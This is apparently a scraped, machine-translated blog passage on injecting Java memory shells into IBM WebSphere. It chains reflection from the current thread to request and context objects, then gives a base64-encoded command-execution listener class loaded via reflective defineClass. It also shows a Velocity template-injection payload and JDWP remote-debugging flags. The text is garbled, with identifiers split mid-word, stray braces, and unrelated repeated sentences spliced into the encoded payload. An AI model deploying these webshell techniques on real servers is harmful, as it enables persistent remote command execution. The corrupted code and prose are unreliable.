// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
Object obj2 = ((java.util.Map) obj1).get("table");
// {java.lang.ThreadLocal$ThreadLocalMap$Entry}
Object obj3 = java.lang.reflect.Array.get(obj2, 11);
// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") {
ue());
// {class [Ljava.lang.Object;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") {
e());
// {com.ibm.io.async.CompletedFutureWorkItem}
Object obj6 = java.lang.reflect.Array.get(obj5, 0);
// {com.ibm.io.async.AsyncFuture}
Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure());
// {com.ibm.io.async.AsyncSocketChannel}
Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha")
nnel");
//
{com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}
Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha
nnelVCI");
// {interface java.util.Map}
Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta
teStore");
// {com.ibm.ws.webcontainer.channel.WCChannelLink}
Object obj11 = ((java.util.Map) obj10).get("WCChannelLink");
// {com.ibm.ws.webcontainer.channel.WCCRequestImpl}
Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re
quest");

This is the current

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value =
{com.ibm.ws.util.objectpool.LocalThreadObjectPool}
---> free = {class [Ljava.lang.Object;}
---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}
---> future = {com.ibm.io.async.AsyncFuture}
---> firstListenerState =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
idea_express:
Object obj0 = TargetObject;
// {java.lang.ThreadLocal$ThreadLocalMap}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") {
eadLocals());
// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
Object obj2 = ((java.util.Map) obj1).get("table");
// {java.lang.ThreadLocal$ThreadLocalMap$Entry}
Object obj3 = java.lang.reflect.Array.get(obj2, 11);
// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") {
ue());
// {class [Ljava.lang.Object;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") {
e());
// {com.ibm.io.async.CompletedFutureWorkItem}
Object obj6 = java.lang.reflect.Array.get(obj5, 0);
// {com.ibm.io.async.AsyncFuture}
Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure());
//
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState());
Object obj0 = Thread.currentThread();
// {java.lang.ThreadLocal$ThreadLocalMap}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0, "thr") {
eadLocals());
// {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1, "tab") {
le());
int count = java.lang.reflect.Array.getLength(obj2);
for (int i = 0; i < count; i++) {
// {java.lang.ThreadLocal$ThreadLocalMap$Entry}
Object obj3 = java.lang.reflect.Array.get(obj2, i);
if (obj3 == null ||
!obj3.getClass().getName().contains("ThreadLocalMap$Entry")) {
continue;
}
// {com.ibm.ws.util.objectpool.LocalThreadObjectPool}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3, "val") {
ue());
if (obj4 == null ||
!obj4.getClass().getName().contains("LocalThreadObjectPool")) {
continue;
}
// {class [Ljava.lang.Object;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4, "fre") {
e());
Object[] free = (Object[]) obj5;
for (int j = 0; j < free.length; j++) {
// {com.ibm.io.async.CompletedFutureWorkItem}
Object obj6 = free[j];
if (obj6==null ||
!obj6.getClass().getName().contains("CompletedFutureWorkItem") )
{
continue;
}
// {com.ibm.io.async.AsyncFuture}
Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut
ure());
//
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
 Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir
stListenerState());
return obj8;
}
}

3.7.5. Based on Thread.currentThread() to locate context

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}
---> wsThreadLocals = {class [Ljava.lang.Object;}
---> [16] = {com.ibm.ejs.util.FastStack}
---> stack = {class [Ljava.lang.Object;}
---> [1] =
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
---> config =
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
---> context =
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
---> context =
{com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:
Object obj0 = TargetObject;
// {class [Ljava.lang.Object;}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");
// {com.ibm.ejs.util.FastStack}
Object obj2 = java.lang.reflect.Array.get(obj1, 16);
// {class [Ljava.lang.Object;}
Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");
//
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
Object obj4 = java.lang.reflect.Array.get(obj3, 1);
// {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con}}
fig");
// {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");
// {com.ibm.ws.webcontainer.webapp.WebAppImpl}
Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");
Object obj0 = Thread.currentThread();
// {class [Ljava.lang.Object;}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT
hreadLocals");
Object[] wsThreadLocals = (Object[])  obj1;
Object a;
for (int i = 0; i < wsThreadLocals.length; i++) {
// {com.ibm.ejs.util.FastStack}
Object obj2 = wsThreadLocals[i];
if (obj2 == null ||
!obj2.getClass().getName().contains("FastStack")) {
continue;
}
try {
// {class [Ljava.lang.Object;}
Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta
ck");
Object[] stack = (Object[])obj3;
for (int j = 0; j < stack.length; j++) {
//
{com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}
Object obj4 = stack[j];
if (obj4 == null ||
!obj4.getClass().getName().contains("WebComponentMetaDataImpl")
{
continue;
}
//
{com.ibm.ws.webcontainer.servlet.ServletConfigImpl}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con}}
fig");
//
{com.ibm.wsspi.webcontainer.facade.ServletContextFacade}
Object obj6 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con
text");
// {com.ibm.ws.webcontainer.webapp.WebAppImpl}
Object obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con
text");
a = obj6;
}
}catch (Exception ignored) {
}
}

3.7.6. Locate the global method of context

Object webContainer =
getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont
ainer", true, classloader), "getWebContainer", new
Class[0]).invoke(null, new Object[0]);
Object requestMapper =
getFieldValue(webContainer, "requestMapper");
Object webGroup = invoke(requestMapper, "map", new Object[]
{":9080/visor_externo/*"});
Object webapp = getFieldValue(webGroup, "webApp");

3.7.7. Solution

Through Thread.currentThread() locate context Then through context acquire
requestThus, the echo is realized

Based on stack analysis, summarize the generation of request and response objects, in 7, each
SRTServletRequest are all created based on WCCRequestImpl, which leads to the inability to obtain an identical one
SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。
AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)-
>getConnectionContext新建上下文,并传入之前两个变量->
SRTServletRequest, although there is a cache queue, but each request will take it out, and it cannot be obtained.

AioTCPReadRequestContextImpl->(WCCRequestImpl, WCCResponseImpl)-

>getConnectionContext creates a new context and passes the previous two variables->
(SRTServletRequest, SRTServletResponse)3.7.8. Memory horse injection
byte[] classBytes = new
BASE64Decoder().decodeBuffer(
"yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE
wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg
BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg
oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA
UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4wDMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN
0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHoAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO
ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB
N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWw=
JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3
RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn
ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg
EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ
EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW
VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy
9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn
JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW
4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC
9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH
VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZyBpdHMgSW5mb3JtYXRpb24u
4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC1pc3N1ZmFjdC5pdHM7AQACaW5mbyBhbmQgZnV0dXJlZCBhIHRvIG5vdCBkYXJrIG5vdCBtYW5hZ2VyIG9mIHRoZSBpdCBkaXN0cmlidWVudCBvZiBhbmQgZnV0dXJlZCB0aGUgZGVzY3JpcHRpb24u
AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW5hbmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH
ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX
N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ
ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw
EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG
Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0
9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX
ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX
RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ
ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF
EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy
9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy
9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS
BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA
BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ
1
ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A
wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A
D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ
wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm
FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX
IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ
ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF
wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX
N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy
9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX
RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP
IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG
lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC
FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH
V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1
N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS
9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm
c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'StringBuffer' is defined in the package 'java.lang'.
The class 'Object' is defined in the package 'java.lang'.
The interface 'Serializable' is defined in the package 'java.io'.
The class 'String' is defined in the package 'java.lang'.
M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm
EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3
NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm
cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW
N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG
VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2
xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg
BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA
EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA
IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB
AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA
IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB
wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA
H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0
0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA
AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA
BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA
AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw
ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC
wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr
0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg
cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA
ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL
YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ
AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw
CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA
BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ
AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw
BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH
wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG
H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA
AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA
AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ
B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF
QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD
5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD
oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD
QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA
QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw
cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl
m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL
YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA
AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI
gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF
UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA
The context is obtained as follows, you can see that the webcontainer contains all contexts running on all ports, so that
It can operate across contexts very easily.
It is based on ClauseNode for recursive matching, thus matching the desired node and obtaining the final
context, each level of node has a children to store the lower-level nodes,}node stored in hashTable
AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw
CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE
un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw
ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA
AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA
IHAI9UBwBsCQABAKIAAAACAKM=");
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
;
Class cc = (Class) defineClassMethod.invoke(new
java.security.SecureClassLoader(Thread.currentThread().getClass(
).getClassLoader()), new Object[]{classBytes, new Integer(0),
new Integer(classBytes.length)});
((WebGroupImpl
WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex
terno/*\
tance());

The context is obtained as follows, you can see that the webcontainer contains all contexts running on all ports, so that
It can operate across contexts very easily.
It is based on ClauseNode for recursive matching, thus matching the desired node and obtaining the final
Context, each level of node has a children to store the lower-level node, and node is stored in hashTable

Here you can see that the next level of the port is the matching URI

After URI matching, it reaches the final context

You can directly obtain the webgroup object in the following way, and the webapp stores listener properties, etc., so that
It takes just one step to inject a memory horse.

4. Agent Injection

https://xz.aliyun.com/t/9450

5. Technique

5.1. SSTI

#set($s="");
#set($evil="b64xxxxx");
#set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI
nstance().decodeBuffer($evil));
#set($ReflectUtils=$s.getClass().forName("org.springframework.cg
lib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").curr
entThread().getContextClassLoader());
$ReflectUtils.setAccessible(true);
#set($ReflectUtilsObject=$ReflectUtils.newInstance());
#set($_=$ReflectUtilsObject.defineClass("Payload286011263666700"
$evilb, $classLoader));
#set($shellServlet=$classLoader.loadClass("Payload28601126366670",
0()).newInstance());

5.2. Remote Debugging

JDK5-8

-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

JDK9 or later

-
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

For some third-party binary files that encapsulate JVM and cannot be debugged by parameters as above, you can
By setting the global environment variable, of course, it also applies to the original java.exe

set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

After the remote class is loaded, you can also place the same class locally, so you can achieve synchronous debugging

5.3. dumpclass

Sometimes you need to dump the runtime memory, some classes can't find the jar package location (it may be dynamically generated by proxy)
or similar memory horses.
Find an existing project https://github.com/hengyunabc/dumpclass, which supports multiple
classloader scenario.
If you call java -jar directly, it will report an error because it calls jre, and jre does not have sa-jdi.jar, so you can find
The absolute path to java.exe, use the absolute path, as follows, it can be successful.

"C:\\Java\\jdk1.8.0_212\\bin\\java.exe" -jar
dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper

6. References

https://blog.csdn.net/sinat_29846389/article/details/122513297
https://github.com/pen4uin/awesome-java-security/blob/main/middleware/resin/note/REA
DME.md
https://github.com/feihong-cs/memShell


你可能想看:
最后修改时间:
admin
上一篇 2025年03月26日 00:18
下一篇 2025年03月26日 00:41

评论已关闭